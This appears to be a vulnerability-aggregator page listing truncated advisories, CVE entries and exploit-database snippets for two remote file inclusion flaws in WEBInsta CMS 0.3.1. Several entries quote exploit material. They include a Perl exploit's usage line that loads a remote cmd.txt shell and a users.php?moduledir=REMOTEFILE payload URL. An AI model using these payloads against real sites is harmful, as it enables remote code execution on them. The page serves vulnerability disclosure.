EUVD-2006-4207

Malware in sbrugna...

WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl target cmd shell location cmd shell variable perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shel...

WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability

No description provided by source. / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

WEBinsta CMS Templates_Dir远程文件包含漏洞

WEBInsta CMS是一款基于PHP的内容管理程序。 WEBInsta CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'templatesdir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 WEBInsta CMS 0.3.1 http://www.webinsta.com/download.html !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Explo...

WEBInsta CMS &lt;= 0.3.1 (users.php) Remote File Include Vulnerability

No description provided by source. / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE...

adv45-K-159-2006.txt

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

CVE-2006-4217

PHP remote file inclusion vulnerability in modules/usersonline/users.php in WEBInsta CMS 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the moduledir parameter, a different vulnerability than CVE-2006-4196. NOTE: the provenance of this information is unknown; the details...

CVE-2006-4217

PHP remote file inclusion vulnerability in modules/usersonline/users.php in WEBInsta CMS 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the moduledir parameter, a different vulnerability than CVE-2006-4196. NOTE: the provenance of this information is unknown; the details...

CVE-2006-4217

CVE-2006-4217 is a PHP remote file inclusion vulnerability affecting WEBInsta CMS 0.3.1, where the module usersonline/users.php is exploitable via the module_dir parameter to cause arbitrary PHP code execution. The issue is described as a remote code execution vector through a URL parameter, and ...

CVE-2006-4196

PHP remote file inclusion vulnerability in index.php in WEBInsta CMS 0.3.1 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the templatesdir parameter...

CVE-2006-4196

PHP remote file inclusion vulnerability in index.php in WEBInsta CMS 0.3.1 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the templatesdir parameter...

CVE-2006-4196

CVE-2006-4196 affects WEBInsta CMS 0.3.1 and possibly earlier, where index.php fails to sanitize the templates_dir parameter before including PHP code. This enables a remote attacker to cause PHP code execution by supplying a crafted URL, effectively performing a remote file inclusion via the tem...

WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== WEBInsta CMS = 0.3.1 users.php Remote File Include Vulnerability =================================================================== / Vulnerable product :...

WEBInsta CMS 0.3.1 - &#039;users.php&#039; Remote File Inclusion

/ Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

WEBInsta CMS 0.3.1 - users.php Remote File Inclusion

WEBInsta CMS 0.3.1 - users.php Remote File Inclusion / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

WEBInsta CMS index.php templates_dir Parameter Remote File Inclusion

The remote host is running WEBInsta CMS, a content management system written in PHP. The version of WEBInsta CMS installed on the remote host fails to sanitize user-supplied input to the 'templatesdir' parameter of the 'index.php' script before using it to include PHP code. Regardless of PHP's...

[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 &#40;templates_dir&#41; Remote File Inclusion Vulnerability

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= WEBinsta CMS perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff...

WEBInsta CMS 0.3.1 - &#039;templates_dir&#039; Remote File Inclusion

!/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|sta...